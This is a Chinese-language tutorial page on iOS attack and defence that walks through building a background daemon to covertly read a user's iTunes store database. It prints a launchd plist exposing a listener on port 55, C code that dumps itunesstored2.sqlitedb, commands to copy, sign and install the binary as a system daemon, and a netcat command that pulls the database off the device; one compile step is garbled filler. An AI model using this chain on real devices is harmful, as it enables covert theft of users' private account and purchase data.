您的当前位置:首页正文

iOS安全攻防(二):后台daemon非法窃取用户iTuness

来源:伴沃教育

其中要注意一下通信服务名,我定为55。用编辑器打开,即为:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
<plist version="1.0">
<dict>
<key>Program</key>
<string>/usr/bin/ncdemo</string>
<key>StandardErrorPath</key>
<string>/dev/null</string>
<key>SessionCreate</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/ncdemo</string>
</array>
<key>inetdCompatibility</key>
<dict>
<key>Wait</key>
<false/>
</dict>
<key>Sockets</key>
<dict>
<key>Listeners</key>
<dict>
<key>SockServiceName</key>
<string>55</string>
</dict>
</dict>
</dict>
</plist>

最后,将plist文件 scp 至 root@192.168.1.114:/System/Library/LaunchDaemons/ 下 。
编写读取iTunesstore数据库程序
读取itunesstored2.sqlitedb信息,并输出到stdout中,便于我们读取。

Objective-C
include <stdio.h>
include <fcntl.h>
include <stdlib.h>
define FILE "/var/mobile/Library/com.apple.itunesstored/itunesstored2.sqlitedb"

int main(){
int fd = open(FILE, O_RDONLY);
char buf[128];
int ret = 0;

if(fd < 0)  
    return -1;  
while (( ret = read(fd, buf, sizeof(buf))) > 0){  
    write( fileno(stdout), buf, ret);  
}  
close(fd);  
return 0;  

}

编译、拷贝、签名
1.编译方法上篇文章已经介绍清楚,这里不再重复,直接¥%¥#%¥……%# 生成运行在ARM的 ncdemo
2.将ncdemo scp 到设备中,并登录

Objective-C
$ scp ncdemo root@192.168.1.114:ncdemo
$ ssh root@192.168.1.114

3.签名
Objective-C

ldid -S ncdemo

mv ncdemo /usr/bin

抓取 iTunesstore 数据信息
这时,我们只需要利用netcat,指定之前定义的服务名称,轻松在本地抓取设备 iTunesstore 信息.

Objective-C
$ nc 192.168.1.114 55 > itunesstored2.sqlitedb

分析 iTunesstore 数据信息
好吧,这里就介绍个最简单的应用,利用string命令查看:

Objective-C
$ strings itunesstored2.sqlitedb

本文参考了《念茜的博客》

显示全文